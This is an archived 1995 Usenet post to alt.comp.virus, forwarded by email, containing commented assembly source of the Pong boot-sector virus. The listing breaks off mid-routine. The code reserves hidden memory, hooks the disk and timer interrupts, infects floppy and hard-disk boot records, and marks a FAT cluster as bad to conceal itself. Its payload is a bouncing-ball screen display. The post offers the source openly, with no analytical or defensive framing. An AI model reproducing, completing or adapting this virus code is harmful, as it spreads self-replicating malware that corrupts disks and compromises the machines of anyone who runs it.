home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / PONG.ASM < prev    next >
Assembly Source File  |  1995-10-29  |  23KB  |  657 lines

  1. From smtp Tue Feb  7 13:15 EST 1995
  2. Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue,  7 Feb 95 13:15 EST
  3. Received: by lynx.dac.neu.edu (8.6.9/8.6.9) 
  4.      id NAA16239 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:17:17 -0500
  5. Date: Tue, 7 Feb 1995 13:17:17 -0500
  6. From: lynx.dac.neu.edu!ekilby (Eric Kilby)
  7. Content-Length: 22178
  8. Content-Type: text
  9. Message-Id: <199502071817.NAA16239@lynx.dac.neu.edu>
  10. To: pobox.jwu.edu!joshuaw 
  11. Subject: (fwd) Pong
  12. Newsgroups: alt.comp.virus
  13. Status: O
  14.  
  15. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
  16. From: danishm@iia.org ()
  17. Newsgroups: alt.comp.virus
  18. Subject: Pong
  19. Date: 5 Feb 1995 21:56:02 GMT
  20. Organization: International Internet Association.
  21. Lines: 624
  22. Message-ID: <3h3hhi$sb@ankh.iia.org>
  23. NNTP-Posting-Host: iia.org
  24. X-Newsreader: TIN [version 1.2 PL2]
  25.  
  26. Here is the Pong virus:
  27.  
  28.  
  29.  
  30.    ; ORIGININ ADDRESS -7C00H 
  31.  
  32.  
  33. RAM   SEGMENT AT 0
  34.  
  35.    ; SYSTEM DATA
  36.  
  37.    ORG   20H
  38. INT8OF   DW ?        ; INTERRUPT 8 OFFSET
  39. INT8SG   DW ?        ; INTERRUPT 8 SEGMENT
  40.    ORG   4CH
  41. INT19O   DW ?        ; INTERRUPT 19 OFFSET
  42. INT19S   DW ?        ; INTERRUPT 19 SEGMENT
  43.    ORG   413H
  44. RAMSIZ   DW ?        ; TOTAL RAM SIZE
  45.  
  46.    ; BPB OF VIRUS BOOT RECORD
  47.  
  48.    ORG   7C0BH
  49. BYPSEC   DW ?        ; BYTES PER SECTOR
  50. NUMSEC   DB ?        ; SECTORS PER ALLOCATION UNIT
  51. SECRES   DW ?        ; RESERVED SECTORS
  52. FATNUM   DB ?        ; NUMBER OF FATS
  53. DIRNUM   DW ?        ; NUMBER OF ROOT DIR ENTRIES
  54. SECNUM   DW ?        ; NUMBER OF SECTORS
  55. MEDIAD   DB ?        ; MEDIA DESCRIPTOR
  56. SECFAT   DW ?        ; NUMBER OF SECTORS PER FAT
  57. SECTRK   DW ?        ; SECTORS PER TRACK
  58. HEDNUM   DW ?        ; NUMBER OF HEADS
  59. HIDSEC   DW ?        ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
  60.  
  61.    ; INTERRUPT 19 (13H) BRANCH ADDRESS
  62.  
  63.    ORG   7D2AH
  64.  
  65. ORIG19   DW ?        ; ORIGINAL INT 19 OFFSET
  66. ORG19S   DW ?        ; ORIGINAL INT 19 SEGMENT
  67.  
  68.    ; INSTALLATION DATA AREA
  69.  
  70.    ORG   7DF3H
  71. CURFAT   DW ?     ; CURRENT FAT SECTOR
  72. CURCLS   DW ?     ; SECTOR NUMBER OF FIRST CLUSTER
  73. SWITCH   DB ?     ; SWITCHES
  74.             ;          - 01H - NESTED INTERRUPT
  75.             ;          - 02H - TIMER INTERRUPT INSTALLED
  76.             ;          - 04H - 16-BIT FAT
  77. LSTDRV   DB ?     ; DRIVE LAST USED
  78. REMAIN   DW ?     ; SECTOR NUMBER OF REST OF CODE
  79. RESERV   DB ?     ; RESERVED SPACE FOR FUTURE HACKING
  80. FLAG01   DW ?     ; FLAG FIELD
  81.  
  82.    ; DATA AREA
  83.  
  84.    ORG   7EB0H
  85. LASTTM   DW ?        ; SYSTEM TIME LAST CALLED
  86. PRCFAT   DB ?        ; PROCESSED FAT / 256
  87.  
  88.    ; INTERRUPT 8 BRANCH ADDRESS
  89.  
  90.    ORG   7FC9H
  91. ORG08O   DW ?        ; ORIGINAL INT 8 OFFSET
  92. ORG08S   DW ?        ; ORIGINAL INT 8 SEGMENT
  93.  
  94.    ; DISPLAY DATA AREA
  95.  
  96.    ORG   7FCDH
  97. CHARAT   DW ?        ; CHARACTER AND ATTRIBUTES
  98. ROWCOL   DW ?        ; ROW AND COLUMN POSITIONS
  99. ROWCLM   DW ?        ; ROW AND COLUMN MOVEMENT
  100. GRAPHM   DB ?        ; GRAPHICS MODE SWITCH
  101. MODEAP   DW ?        ; MODE AND ACTIVE PAGE
  102. COLUMN   DB ?        ; VISIBLE COLUMNS - 1
  103.  
  104.    ; BPB OF ORIGINAL BOOT RECORD
  105.  
  106.    ORG   800BH
  107. BIPSEC   DW ?        ; BYTES PER SECTOR
  108. ALCSEC   DB ?        ; SECTORS PER ALLOCATION UNIT
  109. VERVED   DW ?        ; RESERVED SECTORS
  110. RUMNUM   DB ?        ; NUMBER OF FATS
  111. ROTRID   DW ?        ; NUMBER OF ROOT DIR ENTRIES
  112. NUOSEC   DW ?        ; NUMBER OF SECTORS
  113. MIASET   DB ?        ; MEDIA DESCRIPTOR
  114. FASNUM   DW ?        ; NUMBER OF SECTORS PER FAT
  115. TRASSC   DW ?        ; SECTORS PER TRACK
  116. NUOHED   DW ?        ; NUMBER OF HEADS
  117. HIDESC   DW ?        ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
  118.  
  119.  
  120.    ORG   81F5H
  121. FSTCLS   DW ?        ; SECTOR NUMBER OF FIRST CLUSTER
  122. SWITCB   DB ?        ; SWITCHES - 01H - NESTED INTERRUPT
  123.          ;             - 02H - TIMER INTERRUPT INSTALLED
  124.          ;             - 04H - 16-BIT FAT
  125. LASTUS   DB ?        ; DRIVE LAST USED
  126. REMAI2   DW ?        ; SECTOR NUMBER OF REST OF CODE
  127. LATER2   DB ?        ; TYPE SWITCH
  128. LATER3   DW 2 DUP (?)     ; INSTALLED.. HMMM?
  129.  
  130.  
  131. RAM   ENDS
  132.  
  133. CODE  SEGMENT BYTE PUBLIC 'CODE'
  134.    ASSUME CS:CODE,DS:RAM
  135.  
  136. START:  
  137.    JMP   HIDE_ME_PLEASE      ; BRANCH ROUND BPB TABLE
  138.  
  139.    DB 'MSDOS3.2'     ; OEM AND VERSION
  140.  
  141.    DW 512      ; BYPSEC - BYTES PER SECTOR
  142.    DB 2        ; NUMSEC - SECTORS PER ALLOCATION UNIT
  143.    DW 1        ; SECRES - RESERVED SECTORS
  144.    DB 2        ; FATNUM - NUMBER OF FATS
  145.    DW 112      ; DIRNUM - NUMBER OF ROOT DIR ENTRIES
  146.    DW 720      ; SECNUM - NUMBER OF SECTORS
  147.    DB 0FDH     ; MEDIAD - MEDIA DESCRIPTOR
  148.    DW 2        ; SECFAT - NUMBER OF SECTORS PER FAT
  149.    DW 9        ; SECTRK - SECTORS PER TRACK
  150.    DW 2        ; HEDNUM - NUMBER OF HEADS
  151.    DW 0        ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER)
  152.  
  153.    ; START OF PROCESSING
  154.  
  155.    ; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA
  156.  
  157. HIDE_ME_PLEASE: 
  158.    XOR   AX,AX
  159.    MOV   SS,AX       ; STACK SEGMENT ZERO
  160.    MOV   SP,7C00H    ; SET STACK POINTER TO START OF BUFFER
  161.    MOV   DS,AX       ; DATA SEGMENT ZERO
  162.    MOV   AX,RAMSIZ   ; GET TOTAL RAM SIZE
  163.    SUB   AX,2        ; SUBTRACT 2K
  164.    MOV   RAMSIZ,AX   ; REPLACE AMENDED RAM SIZE
  165.    MOV   CL,6        ; NUMBER OF POSITIONS TO SHIFT
  166.    SHL   AX,CL       ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS)
  167.    SUB   AX,7C0H     ; SUBTRACT BUFFER OFFSET
  168.    MOV   ES,AX       ; SET TARGET SEGMENT ADDRESS
  169.    MOV   SI,7C00H    ; LOAD BUFFER TARGET OFFSET
  170.    MOV   DI,SI       ; COPY OFFSET FOR SOURCE
  171.    MOV   CX,0100H    ; NUMBER OF WORDS TO MOVE
  172.    REPZ  MOVSW       ; DUPLICATE BOOT SECTOR IN HIGH STORAGE
  173. ;  MOV   CS,AX       ; LOAD SEGMENT OF NEW LOCATION
  174.                      ; THIS IS THE ILLEGAL OPCODE!
  175.    DB 08EH, 0C8H     ; PREVIOUS COMMAND HARD CODED
  176.  
  177.    ; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE
  178.  
  179.    PUSH  CS             ; \ SET DS EQUAL TO CS
  180.    POP   DS             ; /
  181.    CALL  SET_IT_UP
  182. SET_IT_UP: 
  183.    XOR   AH,AH          ; INITIALISE DISK SUB-SYSTEM
  184.    INT   13H            ; DISK INTERRUPT
  185.    AND   LSTDRV,80H     ; SET ADDRESS FOR HARD DISK
  186.    MOV   BX,REMAIN      ; GET SECTOR OF REST OF CODE
  187.    PUSH  CS             ; \ GET CURRENT SEGMENT
  188.    POP   AX             ; /
  189.    SUB   AX,20H         ; ADDRESS BACK ONE SECTOR
  190.    MOV   ES,AX          ; SET BUFFER SEGMENT FOR REST OF CODE
  191.    CALL  READ_IT_IN         ; READ REST OF CODE
  192.    MOV   BX,REMAIN      ; GET SECTOR OF REST OF CODE
  193.    INC   BX             ; ADDRESS TO BOOT SECTOR STORE
  194.    MOV   AX,0FFC0H      ; WRAP-AROUND ADDRESS (= -400H)
  195.    MOV   ES,AX          ; SET BUFFER SEGMENT FOR BOOT SECTOR
  196.    CALL  READ_IT_IN         ; READ REAL BOOT SECTOR
  197.    XOR   AX,AX
  198.    MOV   SWITCH,AL      ; SET OFF ALL SWITCHES
  199.    MOV   DS,AX          ; DATA SEGMENT ZERO
  200.    MOV   AX,INT19O      ; SAVE INT 19 OFFSET
  201.    MOV   BX,INT19S      ; SAVE INT 19 SEGMENT
  202.    MOV   INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET
  203.    MOV   INT19S,CS      ; NEW INT 19 SEGMENT
  204.    PUSH  CS             ; \ SET DS EQUAL TO CS
  205.    POP   DS             ; /
  206.    MOV   ORIG19,AX      ; STORE OLD INT 19 OFFSET
  207.    MOV   ORG19S,BX      ; STORE OLD INT 19 SEGMENT
  208.    MOV   DL,LSTDRV      ; GET DRIVE NUMBER
  209.    DB 0EAH              ; FAR JUMP TO BOOT SECTOR
  210.    DW 7C00H, 0
  211.  
  212. WRITE_IT_OUT: 
  213.    MOV   AX,301H     ; WRITE ONE SECTOR
  214.    JMP   SHORT GET_SECTOR
  215.  
  216. READ_IT_IN: 
  217.    MOV   AX,201H     ; READ ONE SECTOR
  218. GET_SECTOR: 
  219.    XCHG  BX,AX       ; MOVE SECTOR NUMBER TO AX
  220.    ADD   AX,HIDSEC   ; ADD HIDDEN SECTORS
  221.    XOR   DX,DX       ; CLEAR FOR DIVISION
  222.    DIV   SECTRK      ; DIVIDE BY SECTORS PER TRACK
  223.    INC   DL          ; ADD ONE TO ODD SECTORS
  224.    MOV   CH,DL       ; SAVE SECTOR NUMBER
  225.    XOR   DX,DX       ; CLEAR FOR DIVISION
  226.    DIV   HEDNUM      ; DIVIDE BY NUMBER OF HEADS
  227.    MOV   CL,6        ; POSITIONS TO MOVE
  228.    SHL   AH,CL       ; MOVE TOP TWO BITS OF TRACK
  229.    OR    AH,CH       ; MOVE IN SECTOR NUMBER
  230.    MOV   CX,AX       ; MOVE TO CORRECT REGISTER
  231.    XCHG  CH,CL       ; ..AND CORRECT POSITION IN REG
  232.    MOV   DH,DL       ; MOVE HEAD NUMBER
  233.    MOV   AX,BX       ; RECOVER CONTENTS OF AX
  234. BRING_IN: 
  235.    MOV   DL,LSTDRV   ; GET DRIVE NUMBER
  236.    MOV   BX,8000H    ; SET BUFFER ADDRESS
  237.    INT   13H         ; DISK INTERRUPT
  238.    JNB   GO_BACK     ; BRANCH IF NO ERRORS
  239.    POP   AX
  240. GO_BACK:
  241.    RET
  242.  
  243.    ; INTERRUPT 19 (13H) (DISK) ROUTINE
  244.  
  245. INT_19: 
  246.    PUSH  DS
  247.    PUSH  ES
  248.    PUSH  AX
  249.    PUSH  BX
  250.    PUSH  CX
  251.    PUSH  DX
  252.    PUSH  CS             ; \ SET DS EQUAL TO CS
  253.    POP   DS             ; /
  254.    PUSH  CS             ; \ SET ES EQUAL TO CS
  255.    POP   ES             ; /
  256.    TEST  SWITCH,1       ; TEST NESTED INTERRUPT SWITCH
  257.    JNZ   PASS_OUT         ; EXIT IF ON
  258.    CMP   AH,2           ; TEST FOR READ SECTOR
  259.    JNZ   PASS_OUT         ; EXIT IF NOT
  260.    CMP   LSTDRV,DL      ; COMPARE DRIVE NUMBER
  261.    MOV   LSTDRV,DL      ; SAVE DRIVE NUMBER
  262.    JNZ   INT_SWITCH         ; BRANCH IF DIFFERENT THIS TIME
  263.  
  264.    ; THIS IS THE ACTIVATION CODE.  IT HAS A 'WINDOW' OF JUST LESS
  265.    ; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH
  266.    ; TIME A DISK-READ WILL SWITCH IT ON.
  267.  
  268.    XOR   AH,AH          ; GET SYSTEM CLOCK
  269.    INT   1AH            ; SYSTEM CLOCK INTERRUPT
  270.    TEST  DH,7FH         ; TEST LOW WORD HIGH BYTE
  271.    JNZ   DO_TIME
  272.    TEST  DL,0F0H        ; TEST LOW WORD LOW BYTE
  273.    JNZ   DO_TIME
  274.    PUSH  DX             ; SAVE SYSTEM TIME
  275.    CALL  INTERRUPT_08         ; INSTALL SYSTEM CLOCK ROUTINE
  276.    POP   DX             ; RECOVER SYSTEM TIME
  277. DO_TIME: 
  278.    MOV   CX,DX          ; COPY SYSTEM TIME
  279.    SUB   DX,LASTTM      ; INTERVAL SINCE LAST CALL
  280.    MOV   LASTTM,CX      ; SAVE SYSTEM TIME
  281.    SUB   DX,24H         ; SUBTRACT 2 SECONDS
  282.    JB    PASS_OUT         ; RETURN IF LESS THAN TWO SECONDS
  283. INT_SWITCH: 
  284.    OR SWITCH,1          ; SET ON NESTED INTERRUPT SWITCH
  285.    PUSH  SI
  286.    PUSH  DI
  287.    CALL  DISK_INSTALL         ; INSTALL ON DISK
  288.    POP   DI
  289.    POP   SI
  290.    AND   SWITCH,0FEH    ; SET OFF NESTED INTERRUPT SWITCH
  291. PASS_OUT: 
  292.    POP   DX
  293.    POP   CX
  294.    POP   BX
  295.    POP   AX
  296.    POP   ES
  297.    POP   DS
  298.    DB 0EAH        ; FAR JUMP TO ORIGINAL INT 19
  299.    DW 01FBH       ; ORIG19 - ORIGINAL INT 19 OFFSET
  300.    DW 0C800H      ; ORG19S - ORIGINAL INT 19 SEGMENT
  301.  
  302.    ; DISK INSTALLATION
  303.  
  304. DISK_INSTALL: 
  305.    MOV   AX,201H        ; READ ONE SECTOR
  306.    MOV   DH,0           ; HEAD NUMBER 0
  307.    MOV   CX,1           ; TRACK 0, SECTOR 1
  308.    CALL  BRING_IN         ; READ FIRST SECTOR FROM DISK
  309.    TEST  LSTDRV,80H     ; TEST FOR HARD DRIVE
  310.    JZ    FAT_CHECK         ; BRANCH IF NOT
  311.  
  312.    ; HARD DISK - PARTITION TABLE
  313.  
  314.    MOV   SI,81BEH       ; ADDRESS TO PARTITION TABLE
  315.    MOV   CX,4           ; NUMBER OF ENTRIES IN TABLE
  316. NEXT_PART_ENTRY: 
  317.    CMP   BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT
  318.    JZ    SNARF_UP_THE_BOOT         ; BRANCH IF YES
  319.    CMP   BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT
  320.    JZ    SNARF_UP_THE_BOOT         ; BRANCH IF YES
  321.    ADD   SI,10H         ; ADDRESS TO NEXT ENTRY
  322.    LOOP  NEXT_PART_ENTRY         ; LOOP THROUGH TABLE
  323.    RET
  324.  
  325.    ; HARD DISK - GET BOOT RECORD
  326.  
  327. SNARF_UP_THE_BOOT: 
  328.    MOV   DX,[SI]        ; GET HEAD NUMBER OF BOOT
  329.    MOV   CX,[SI+2]      ; GET TRACK AND SECTOR OF BOOT
  330.    MOV   AX,201H        ; READ ONE SECTOR
  331.    CALL  BRING_IN         ; GET BOOT SECTOR FOR PARTITION
  332.  
  333.    ; BOOT SECTOR PROCESSING
  334.  
  335. FAT_CHECK: 
  336.    MOV   SI,8002H       ; ADDRESS TO BPB SOURCE
  337.    MOV   DI,7C02H       ; ADDRESS TO BPB TARGET
  338.    MOV   CX,1CH         ; LENGTH OF BPB
  339.    REPZ  MOVSB          ; COPY BPB
  340.    CMP   LATER3,1357H   ; IS VIRUS INSTALLED ALREADY
  341.    JNZ   WHERE_BE_THE_FAT         ; BRANCH IF NOT
  342.    CMP   LATER2,0
  343.    JNB   HEAD_EM_OUT
  344.    MOV   AX,FSTCLS      ; GET SECTOR NO OF FIRST CLUSTER
  345.    MOV   CURCLS,AX      ; SAVE IT
  346.    MOV   SI,REMAI2
  347.    JMP   PLACE_VIRUS
  348.  
  349. HEAD_EM_OUT:  RET
  350.  
  351.    ; CALCULATE LOCATION OF FAT AND FIRST CLUSTER
  352.  
  353. WHERE_BE_THE_FAT: 
  354.    CMP   BIPSEC,200H    ; SECTOR SIZE 512
  355.    JNZ   HEAD_EM_OUT         ; EXIT IF DIFFERENT SIZE
  356.    CMP   ALCSEC,2       ; SECTORS PER CLUSTER
  357.    JB    HEAD_EM_OUT         ; EXIT IF LESS THAN 2
  358.    MOV   CX,VERVED      ; GET RESERVED SECTORS
  359.    MOV   AL,RUMNUM      ; NUMBER OF FATS
  360.    CBW                  ; FILL OUT REGISTER
  361.    MUL   FASNUM         ; SECTORS PER FAT
  362.    ADD   CX,AX          ; SECTOR OF ROOT DIR
  363.    MOV   AX,20H         ; LENGTH OF DIR ENTRY
  364.    MUL   ROTRID         ; NUMBER OF DIR ENTRIES
  365.    ADD   AX,1FFH        ; ROUND UP TO WHOLE SECTORS
  366.    MOV   BX,200H        ; LENGTH OF SECTOR
  367.    DIV   BX             ; SECTORS OF ROOT DIR
  368.    ADD   CX,AX          ; SECTOR OF FIRST CLUSTER
  369.    MOV   CURCLS,CX      ; SAVE THIS
  370.    MOV   AX,SECNUM      ; GET NUMBER OF SECTORS
  371.    SUB   AX,CURCLS      ; SUBTRACT NON-DATA SECTORS
  372.    MOV   BL,NUMSEC      ; GET SECTORS PER CLUSTER
  373.    XOR   DX,DX
  374.    XOR   BH,BH          ; CLEAR TOP OF REGISTER
  375.    DIV   BX             ; CALCULATE NUMBER OF CLUSTERS
  376.    INC   AX             ; ALLOW FOR NUMBER ONE NOT USED
  377.    MOV   DI,AX
  378.    AND   SWITCH,0FBH    ; SET OFF 16-BIT FAT SWITCH
  379.    CMP   AX,0FF0H       ; SEE IF 12-BIT FAT
  380.    JBE   WRITE_FAT         ; BRANCH IF YES
  381.    OR    SWITCH,4       ; SET ON 16-BIT FAT SWITCH
  382. WRITE_FAT: 
  383.    MOV   SI,1           ; INITIALISE FAT ENTRY COUNT
  384.    MOV   BX,SECRES      ; GET RESERVED SECTORS
  385.    DEC   BX             ; ALLOW FOR ADDITION
  386.    MOV   CURFAT,BX      ; SAVE CURRENT FAT SECTOR
  387.    MOV   PRCFAT,0FEH    ; SET PROCESSED FAT LENGTH TO -2
  388.    JMP   SHORT READ_FAT
  389.  
  390.    ; DATA AREA
  391.  
  392.    DW 2     ; CURFAT - CURRENT FAT SECTOR
  393.    DW 12    ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER
  394.    DB 1     ; SWITCH - SWITCHES
  395.             ;        - 01H - NESTED INTERRUPT
  396.             ;        - 02H - TIMER INTERRUPT INSTALLED
  397.             ;        - 04H - 16-BIT FAT
  398.    DB 0               ; LSTDRV - DRIVE LAST USED
  399.    DW 02B8H           ; REMAIN - SECTOR NUMBER OF REST OF CODE
  400.    DB 0               ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING
  401.    DW 1357H, 0AA55H   ; FLAG01 - FLAG FIELD.
  402.  
  403.       ; END OF FIRST SECTOR, START OF SECOND
  404.  
  405.    ; SEARCH FAT FOR UNUSED CLUSTER
  406.  
  407. READ_FAT: 
  408.    INC   CURFAT         ; ADDRESS TO NEXT FAT SECTOR
  409.    MOV   BX,CURFAT      ; GET NEXT SECTOR NUMBER
  410.    ADD   PRCFAT,2       ; ADD TO PROCESSED FAT LENGTH
  411.    CALL  READ_IT_IN         ; READ FAT SECTOR
  412.    JMP   SHORT GET_EM_NEXT
  413.  
  414. FAT_SWITCH: 
  415.    MOV   AX,3        ; LENGTH OF TWO FAT ENTRIES
  416.    TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
  417.    JZ FAT_ENTRY         ; BRANCH IF OFF
  418.    INC   AX          ; FOUR BYTES NOT THREE
  419. FAT_ENTRY: 
  420.    MUL   SI          ; MULTIPLY BY FAT ENTRY NUMBER
  421.    SHR   AX,1        ; DIVIDE BY TWO
  422.    SUB   AH,PRCFAT   ; SUBTRACT PROCESSED FAT LENGTH
  423.    MOV   BX,AX       ; COPY DISPLACEMENT
  424.    CMP   BX,1FFH     ; SEE IF IN THIS SECTOR
  425.    JNB   READ_FAT      ; BRANCH IF NOT
  426.    MOV   DX,[BX+8000H]     ; GET ENTRY
  427.    TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
  428.    JNZ   F_TEST_1      ; BRANCH IF ON
  429.    MOV   CL,4        ; POSITIONS TO MOVE
  430.    TEST  SI,1        ; TEST FOR ODD-NUMBERED ENTRY
  431.    JZ    FAT_TOP      ; BRANCH IF NOT
  432.    SHR   DX,CL       ; SHIFT EVEN ENTRY INTO POSITION
  433. FAT_TOP: 
  434.    AND   DH,0FH      ; SWITCH OFF TOP BITS
  435. F_TEST_1: 
  436.    TEST  DX,0FFFFH   ; TEST ALL BITS
  437.    JZ    MAKE_BAD      ; BRANCH IF NONE ON
  438. GET_EM_NEXT: 
  439.    INC   SI          ; NEXT FAT ENTRY
  440.    CMP   SI,DI       ; HAS LAST ENTRY BEEN PROCESSED
  441.    JBE   FAT_SWITCH      ; BRANCH IF NOT
  442.    RET
  443.  
  444.    ; SPARE CLUSTER FOUND - INSTALL ON DISK
  445.  
  446. MAKE_BAD: 
  447.    MOV   DX,0FFF7H   ; LOAD BAD SECTOR MARKER
  448.    TEST  SWITCH,4    ; TEST 16-BIT FAT SWITCH
  449.    JNZ   FIND_SECTOR      ; BRANCH IF ON
  450.    AND   DH,0FH      ; CONVERT MARKER TO FF7H
  451.    MOV   CL,4        ; BITS TO MOVE
  452.    TEST  SI,1        ; TEST FOR ODD-NUMBERED ENTRY
  453.    JZ    FIND_SECTOR      ; BRANCH IF NOT
  454.    SHL   DX,CL       ; MOVE INTO POSITION
  455. FIND_SECTOR: 
  456.    OR [BX+8000H],DX  ; PUT MARKER INTO FAT
  457.    MOV   BX,CURFAT   ; GET SECTOR NUMBER
  458.    CALL  WRITE_IT_OUT      ; WRITE FAT SECTOR
  459.    MOV   AX,SI       ; GET ENTRY NUMBER
  460.    SUB   AX,2        ; SUBTRACT FIRST CLUSTER NUMBER
  461.    MOV   BL,NUMSEC   ; GET SECTORS PER CLUSTER
  462.    XOR   BH,BH       ; CLEAR TOP OF REGISTER
  463.    MUL   BX          ; CONVERT TO SECTORS
  464.    ADD   AX,CURCLS   ; ADD SECTOR NUMBER OF 1ST CLUSTER
  465.    MOV   SI,AX       ; SAVE REAL SECTOR NUMBER
  466.    MOV   BX,0        ; SECTOR ZERO
  467.    CALL  READ_IT_IN      ; READ BOOT SECTOR
  468.    MOV   BX,SI       ; GET OUTPUT SECTOR NUMBER
  469.    INC   BX          ; ADDRESS TO NEXT SECTOR
  470.    CALL  WRITE_IT_OUT      ; WRITE BOOT SECTOR TO STORE
  471. PLACE_VIRUS: 
  472.    MOV   BX,SI       ; GET OUTPUT SECTOR NUMBER
  473.    MOV   REMAIN,SI   ; SAVE SECTOR NO OF REST OF CODE
  474.    PUSH  CS          ; \ GET CURRENT SEGMENT
  475.    POP   AX          ; /
  476.    SUB   AX,20H      ; ADDRESS BACK TO VIRUS (2)
  477.    MOV   ES,AX       ; SET BUFFER ADDRESS
  478.    CALL  WRITE_IT_OUT      ; WRITE VIRUS (2)
  479.    PUSH  CS          ; \ GET CURRENT SEGMENT
  480.    POP   AX          ; /
  481.    SUB   AX,40H      ; ADDRESS BACK TO VIRUS (1)
  482.    MOV   ES,AX       ; SET BUFFER ADDRESS
  483.    MOV   BX,0        ; SECTOR ZERO
  484.    CALL  WRITE_IT_OUT      ; WRITE VIRUS (1)
  485.    RET
  486.  
  487.    DW 20CH        ; LASTTM - SYSTEM TIME LAST CALLED
  488.    DB 2           ; PRCFAT - PROCESSED FAT / 256
  489.  
  490.    ; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE
  491.  
  492. INTERRUPT_08: 
  493.    TEST  SWITCH,2       ; TEST INT 8 INSTALLED SWITCH
  494.    JNZ   FINISH_TIME         ; BRANCH IF ON
  495.    OR    SWITCH,2       ; SET ON INT 8 INSTALLED SWITCH
  496.    MOV   AX,0           ; \ SEGMENT ZERO
  497.    MOV   DS,AX          ; /
  498.    MOV   AX,INT8OF      ; SAVE INT 8 OFFSET
  499.    MOV   BX,INT8SG      ; SAVE INT 8 SEGMENT
  500.    MOV   INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET
  501.    MOV   INT8SG,CS      ; NEW INT 8 SEGMENT
  502.    PUSH  CS             ; \ SET DS EQUAL TO CS
  503.    POP   DS             ; /
  504.    MOV   ORG08O,AX      ; STORE OLD INT 8 OFFSET
  505.    MOV   ORG08S,BX      ; STORE OLD INT 8 SEGMENT
  506. FINISH_TIME: 
  507.    RET
  508.  
  509.    ; INTERRUPT 10
  510.  
  511. DO_VIDEO: 
  512.    PUSH  DS
  513.    PUSH  AX
  514.    PUSH  BX
  515.    PUSH  CX
  516.    PUSH  DX
  517.    PUSH  CS             ; \ SET DS EQUAL TO CS
  518.    POP   DS             ; /
  519.    MOV   AH,0FH         ; GET VDU PARAMETERS
  520.    INT   10H            ; VDU INTERRUPT
  521.    MOV   BL,AL          ; VDU MODE
  522.    CMP   BX,MODEAP      ; TEST MODE AND ACTIVE PAGE
  523.    JZ    CHARACTER_ATTRIB         ; BRANCH IF UNCHANGED
  524.    MOV   MODEAP,BX      ; SAVE MODE AND ACTIVE PAGE
  525.    DEC   AH             ; VISIBLE COLUMNS
  526.    MOV   COLUMN,AH      ; SAVE VISIBLE COLUMNS - 1
  527.    MOV   AH,1           ; GRAPHICS MODE SWITCH ON
  528.    CMP   BL,7           ; TEST FOR TELETYPE MODE
  529.    JNZ   IS_IT_GRAPHICS         ; BRANCH IF NOT
  530.    DEC   AH             ; GRAPHICS MODE SWITCH OFF
  531. IS_IT_GRAPHICS: 
  532.    CMP   BL,4           ; TEST FOR GRAPHICS MODE
  533.    JNB   ROW_AND_COLUMN         ; BRANCH IF GRAPHICS OR TELETYPE
  534.    DEC   AH             ; GRAPHICS MODE SWITCH OFF
  535. ROW_AND_COLUMN: 
  536.    MOV   GRAPHM,AH      ; STORE GRAPHICS MODE SWITCH
  537.    MOV   ROWCOL,101H    ; SET ROW AND COLUMN POSITIONS
  538.    MOV   ROWCLM,101H    ; SET ROW AND COLUMN MOVEMENT
  539.    MOV   AH,3           ; GET CURSOR ADDRESS
  540.    INT   10H            ; VDU INTERRUPT
  541.    PUSH  DX             ; SAVE CURSOR ADDRESS
  542.    MOV   DX,ROWCOL      ; GET ROW AND COLUMN POSITIONS
  543.    JMP   SHORT VIDEO_01
  544.  
  545. CHARACTER_ATTRIB: 
  546.    MOV   AH,3        ; GET CURSOR ADDRESS
  547.    INT   10H         ; VDU INTERRUPT
  548.    PUSH  DX
  549.    MOV   AH,2        ; SET CURSOR ADDRESS
  550.    MOV   DX,ROWCOL   ; GET ROW AND COLUMN POSITIONS
  551.    INT   10H         ; VDU INTERRUPT
  552.    MOV   AX,CHARAT   ; GET CHARACTER AND ATTRIBUTES
  553.    CMP   GRAPHM,1    ; TEST FOR GRAPHICS MODE
  554.    JNZ   WRITE_CHAR      ; BRANCH IF NOT
  555.    MOV   AX,8307H    ; CHARACTER AND WRITE MODE
  556. WRITE_CHAR: 
  557.    MOV   BL,AH       ; MOVE ATTRIBUTE OR WRITE MODE
  558.    MOV   CX,1        ; ONLY ONCE
  559.    MOV   AH,9        ; WRITE CHARACTER AND ATTRIBUTES
  560.    INT   10H         ; VDU INTERRUPT
  561. VIDEO_01: 
  562.    MOV   CX,ROWCLM      ; GET ROW AND COLUMN MOVEMENT
  563.    CMP   DH,0           ; IS ROW ZERO
  564.    JNZ   VIDEO_02         ; BRANCH IF NOT
  565.    XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
  566.    INC   CH             ; /
  567. VIDEO_02: 
  568.    CMP   DH,18H         ; IS ROW 24
  569.    JNZ   VIDEO_04         ; BRANCH IF NOT
  570.    XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
  571.    INC   CH             ; /
  572. VIDEO_04: 
  573.    CMP   DL,0           ; IS COLUMN 0
  574.    JNZ   VIDEO_05         ; BRANCH IF NOT
  575.    XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
  576.    INC   CL             ; /
  577. VIDEO_05: 
  578.    CMP   DL,COLUMN      ; IS COLUMN LAST VISIBLE COLUMN
  579.    JNZ   VIDEO_07         ; BRANCH IF NOT
  580.    XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
  581.    INC   CL             ; /
  582. VIDEO_07: 
